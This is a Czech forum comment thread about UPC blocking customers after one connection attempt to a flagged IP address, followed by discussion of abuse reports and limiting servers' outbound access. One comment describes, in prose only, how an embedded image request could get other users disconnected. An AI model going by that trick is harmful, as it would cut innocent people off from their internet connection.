Mnohem zábavnější je, že to odpojení od UPC šlo udělat třeba tak, že člověk vložil do stránky obrázek s tou adresou, protože jim opravdu stačí, že na tu adresu pošleš GET / HTTP request. Chvíli jsem přemýšlel, jestli to dát na jednu populární obrázkovou službu, a odpojit tak část ČR od internetu, ale pak jsem si řekl, že nebudu hajzl. Mrkva to pak řešil se supportem (kliknul na můj odkaz a taky ho to odpojilo) a slíbili mu, že to postoupí dál. Já jsem se ten problém snažil supportu popsat, ale ten operátor nevěděl, co je to TCP, takže se to nepodařilo.

[petr_p]

Je to tak. Vyzkoušel jsem si taky jediný požadavek. Až druhý den kolem 10. hodiny zablokovaly TCP porty pro SSH, IMAPS, IPv6 nad IPv4 a kdoví co ještě. Oběma směry. Tak jsem jim tam zavolal, UPC problém identifikovalo jako „malware“ a trvali na tom, abych pročistil systém. Na to jsem chtěl podrobnosti, ať vím, co hledat, to ale nebyli ochotni sdělit. Tak jsem poměrně nesrozumitelně nadhodil on IP adresu a operátor se chytil a řekl, že tam má uveden pokus o spojení na její port 80. Trochu jsem si postěžoval, že by příště by mohli informovat e-mailem o zablokování (nic mi nepřišlo) a na blokovaný provoz by mohli reagovat ICMP zprávami namísto tichého zahazování. Operátor mě ujistil, že se mým zlepšovákem budou zabývat. Je fakt smutné, že jediný SYN packet může odpojit zákazníka.

[trekker.dk]

Operátor mě ujistil, že se mým zlepšovákem budou zabývat.

Překlad: jdi do prdele a polož už konečně ten telefon.

[Acci]

Aha a to ti přišlo přímo tobě na e-mail?

[Jendа]

Přeposlal mi to support Forpsi, protože to asi přišlo na jejich abuse kontakt.

[Acci]

Tak to je chyba Forpsi, že ti ten e-mail poslali, není určen pro koncové uživatele.

[Jendа]

A co by s ním měli dělat? Mně přijde normální že když přijde mail na abuse, tak se přepošle správci přípojky/koncového stroje.

[Jendа]

A to UPC přišlo přímo na e-mail, který je uvedený ve smlouvě s nima.

[Prohnutá nudle]

Pokud se staraji jini admini o serevry a jiny o proxy, tak to muze fungovat i jako jedna z ochranan pred zaskodnicenim z vnitrku firmy.

Dalsi vec je, pokud na server protlacim svuj kod a ten pustim, tak nebude mozne stahovat neco jen tak z internetu, jinymi slovy utocnikovi seberu jeden smer jeho komunikacniho kanalu, cimz mu taky trochu zneprijemnim zivot.

Lepsich ci blbsich veci se da vymyslet spousta...

Nebo se da na to koukat takhle: potrbuje ten server k tomu aby delal co ma neco stahovat z internetu? Pokud ne, tak nespravuj co neni rozbite a nedavej mu tu moznost. Potrebuje admin stahovat neco na ten server z internetu? Pak mas rozbitou infrastrukturu...

[Filip Jirsák]

Ona nemusí přístup do internetu potřebovat přímo business aplikace, ale může ho vyžadovat infrastruktura aplikace – třeba kvůli ověřování certifikátů přes OCSP nebo CRL.

[prohnuta nudle]

To je pravda, pak muze prijit na radu kompromis v podobe proxy, skrz ktery muzu ridit co kdy a kam muze.

[Käyttäjä 11133]

V takovýchto prostředích se zpravidla používá vlastní ePKI, takže se CLR / OCSP nasazuje v té příslušné síti.

[Jendа]

Pokud se neprovozují nějaké ne příliš bezpečné aplikace, tak je podle mě celkem pravděpodobná možnost kompromitace tím, že někdo vyhackuje adminův desktop, ze kterého se SSHčkuje. A tohle proti tomu nepomůže. Takže si myslím, že by líp udělali, kdyby navíc byla třeba nějaká dedikovaná admin stanice. (samozřejmě ne vždy to lze, záleží na use-case)